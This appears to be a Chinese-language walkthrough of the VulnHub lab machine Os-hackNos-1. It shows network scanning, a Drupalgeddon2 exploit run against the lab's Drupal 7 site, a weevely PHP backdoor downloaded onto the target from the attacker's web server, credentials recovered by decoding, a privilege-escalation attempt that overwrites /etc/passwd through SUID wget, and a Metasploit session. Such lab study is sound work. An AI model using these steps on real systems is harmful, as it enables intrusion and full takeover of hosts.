一、環境搭建
實驗主機:kali-linux 2023 虛擬機器(VM)
實驗靶機:Os-hackNos-1 靶機(VM)
實驗網路:橋接模式
flag:1.普通使用者的user.txt;2.root使用者的user.txt
技能:漏洞利用 | web應用 | 暴力破解 | 許可權提升
靶機下載:https://www.vulnhub.com/entry/hacknos-os-hacknos,401/
二、資訊收集
主機發現:
- 確認自己的資訊
1 ifconfig
- 探測網段存活主機
1 nmap -sP 192.168.133.0/24
- 也可以使用如下命令
1 netdiscover -i eth0 -r 192.168.133.0/24
埠掃描:
- 探測作業系統及軟體版本資訊
1 nmap -sTV -p- -Pn 192.168.133.97
- 經過探測發現開放22埠和80埠
1 22 埠 :SSH 服務埠,可能存在弱口令和暴力破解 2 80 埠 :HTTP 埠,可以透過目錄掃描,去發現網站目錄或者網站原始碼洩露或者備份檔案洩露
- 訪問一下80埠
目錄探測:
- 探測一下網站目錄資訊
1 dirb http://192.168.133.97
- 可以看到網站CMS為drupal7,存在遠端程式碼執行的漏洞,使用kali的msf模組,搜尋drupal對應的exp
三、漏洞發現
- CMS版本為drupal7,搜尋一下關於該版本的CMS漏洞
四、漏洞利用
1 將指令碼複製下來 2 git clone https://github.com/dreadlocked/Drupalgeddon2.git 3 4 在執行指令碼前,需要預裝依賴包 highline 5 gem install highline 6 7 執行指令碼 8 ruby drupalgeddon2.rb http://192.168.133.97/drupal/
- 檢視許可權
- 檢視目錄檔案
五、許可權提升
利用weevely(kali 菜刀)
- 使用weevely 生成木馬,再將木馬上傳到靶機上
1 生成木馬: 2 weevely generate hello ./door.php 3 4 開啟kali web伺服器: 5 python -m http.server 80 6 7 在靶機上使用wget工具下載 kali 上生成的木馬檔案: 8 wget http://192.168.133.125:80/door.php
- 使用weevely生成的木馬內容
- 連線靶機,注意此處許可權和路徑問題會導致連線失敗
1 weevely http://192.168.133.97/drupal/door.php hello
瀏覽使用者目錄
- 檢視是否存在有用的資訊
1 cd /home 2 ls -lh 3 cd james/ 4 ls -lh 5 cat user.txt
- 在 james 使用者目錄下發現一串MD5雜湊值,解碼失敗
1 bae11ce4f67af91fa58576c1da2aad4b
- 瀏覽一下網站根目錄,發現其他檔案
- 解碼之後再次使用Brainfuck解碼
- 得到:james:Hacker@4514
切換使用者
- 嘗試切換使用者,發現不能切換使用者
suid 提權
- 檢查哪些命令具有suid許可權(具有suid許可權的命令可以以檔案擁有者的許可權執行)
1 audit_suidsgid -only-suid /
- 看到擁有wget的許可權,這裡的思路是把/etc/passwd的檔案下載下來,然後新增一個具有root許可權的使用者,再傳回去覆蓋它。首先進行建立一個使用者
1 openssl passwd -1 -salt 賬號 密碼
- 搭建web伺服器,把靶機上的/etc/passwd下載下來
- 然後將剛才建立的使用者加入進去,並在kali上開一個web伺服器,用靶機連線下載已經更改的/ect/passwd去覆蓋掉原來的檔案即可
- 然後檢視靶機上是否有新增賬戶,發現lxx賬號資訊即建立成功
- 切換失敗,此方法行不通
利用metasploit
- 搜尋漏洞元件
- 選擇使用的工具模組,並設定相關引數
- 檢視設定引數
- 攻擊成功後,顯示沒有互動式shell,需要提升為互動式shell
1 python3 -c "import pty;pty.spawn('/bin/bash')"
- 得到許可權後切換使用者,再次失敗
錯誤總結
- 最終結合經驗發現,寫入新建的賬戶有問題,即覆蓋的root許可權的使用者建立失敗
- 更改為admin賬戶後,在metasploit獲得許可權後即可切換使用者
- 最後進入/root 目錄下檢視root.txt 完成測試